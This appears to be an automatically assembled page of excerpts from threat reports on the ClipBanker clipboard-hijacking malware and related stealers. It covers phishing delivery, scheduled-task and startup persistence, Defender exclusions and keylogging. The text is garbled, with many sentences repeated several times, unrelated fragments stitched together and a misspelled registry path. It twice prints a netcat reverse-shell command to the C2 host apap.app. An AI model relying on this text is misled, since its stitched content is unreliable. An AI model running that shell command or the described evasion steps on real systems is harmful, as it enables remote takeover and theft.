ClipBanker

Recently, we noticed a rather unique scheme for distributing malware that exploits SourceForge... Pages like that are well-indexed by search engines and appear in their search results.

The distribution method of the ClipBanker is through phishing emails or through social media posts that lure users to download malicious content.

It stays in the system by being registered in the task scheduler and changes the cryptocurrency wallet address string in the clipboard to that of the attacker.

It stays in the system by being registered in the task scheduler and changes the cryptocurrency wallet address string in the clipboard to that of the attacker.

Since June 17th, the C2s have been responding with settings value that downloads and runs additional malware besides libraries that will be used to steal information.

The ClipBanker uses PowerShell commands for executing malicious activities.

This file contains the password for the RAR archive. It also unpacks malicious files and runs the next-stage script.

When the attachment is uncompressed, normal users are likely to execute the contained malware as it is disguised with a PDF icon. The file attached to the email is a dropper that is responsible for generating and executing DarkCloud and ClipBanker.

It stays in the system by being registered in the task scheduler and changes the cryptocurrency wallet address string in the clipboard to that of the attacker.

It stays in the system by being registered in the task scheduler and changes the cryptocurrency wallet address string in the clipboard to that of the attacker.

The second part of the command sets a new value to the “ HKCU\Sofatwarte\cr” registry key

CreateProcess : this function allows the attacker to create a new process and its primary thread.

Then confvz creates services named NetworkConfiguration and PerformanceMonitor to autostart the batch files, and a service named Update to directly run the AutoIt interpreter

Using the built-in WMIC utility, an event filter is created to trigger a handler every 80 seconds... The handler executes the following command: ShellExperienceHost . exe -- ssl apap . app 445 - e cmd . exe

In many cases, the malicious payload is placed in the startup folder to ensure persistence.

The decoded command ... used a Com-Object of “ Wscript.Shell ” to create a shortcut file (LNK) in the StartUp directory which is linked to the hysvc.exe payload.

It stays in the system by being registered in the task scheduler and changes the cryptocurrency wallet address string in the clipboard to that of the attacker.

It stays in the system by being registered in the task scheduler and changes the cryptocurrency wallet address string in the clipboard to that of the attacker.

CreateProcess : this function allows the attacker to create a new process and its primary thread.

Then confvz creates services named NetworkConfiguration and PerformanceMonitor to autostart the batch files, and a service named Update to directly run the AutoIt interpreter

Using the built-in WMIC utility, an event filter is created to trigger a handler every 80 seconds... The handler executes the following command: ShellExperienceHost . exe -- ssl apap . app 445 - e cmd . exe

In many cases, the malicious payload is placed in the startup folder to ensure persistence.

The decoded command ... used a Com-Object of “ Wscript.Shell ” to create a shortcut file (LNK) in the StartUp directory which is linked to the hysvc.exe payload.

This vulnerability carries a high severity score of 8.4 and affects WinRAR on Windows operating systems due to a path traversal flaw.

The PowerShell command had ran with the following parameters: ... -e – EncodedCommand, allow to encode the command with base 64 format.

Attackers use the file pumping technique to inflate the file size by appending junk data. The file in question was padded with null bytes.

Moreover, the attacker tried to masquerade it with a legitimate name of “ GoogleChromUpdateTask”

The main purpose of this second trojan is to execute a malicious PowerShell command by running CMD.exe.

the script checks for processes associated with antivirus software, security solutions, virtual environments, and research tools. If it detects anything like that, it deletes itself.

This was done after adding the malware’s folder to Windows Defender exclusions and applying hidden and system attributes to the file to hide it from regular users.

The second part of the command sets a new value to the “ HKCU\Sofatwarte\cr” registry key

The attacker used USER.DLL to perform a keyboard monitoring (keylogging).

it aims to steal and record any type of sensitive information from the infected environment such as browser history, cookies, Outlook data, Skype, Telegram

The final API function that we have covered in this section is the GetUserName function that can be used by the attacker for enumeration and discovering actions.

the attack flow contains several stages of LOLBins (Living Off the Land) abuse, masquerading, persistency, enumeration techniques, credential thieving

the script checks for processes associated with antivirus software, security solutions, virtual environments, and research tools. If it detects anything like that, it deletes itself.

The main goal of this threat is to steal confidential information.

The attacker used USER.DLL to perform a keyboard monitoring (keylogging).

클립보드 탈취

The downloaded archive contains another password-protected archive, installer.zip , and a Readme.txt file with the password.

The Clipbanker executable establishes a connection to the attacker’s Telegram server.

It also downloads and installs additional malware. The malware that is additionally downloaded is usually ClipBanker, but there have also been cases of other types of malware being distributed such as Formbook and SmokeLoader.

ShellExperienceHost.exe is the netcat executable from the malicious archive. The arguments above make the utility establish an encrypted connection with the C2 server apap[.]app on port 445 and launch a command-line interpreter with redirected input/output through that connection.

This was done after adding the malware’s folder to Windows Defender exclusions and applying hidden and system attributes to the file to hide it from regular users.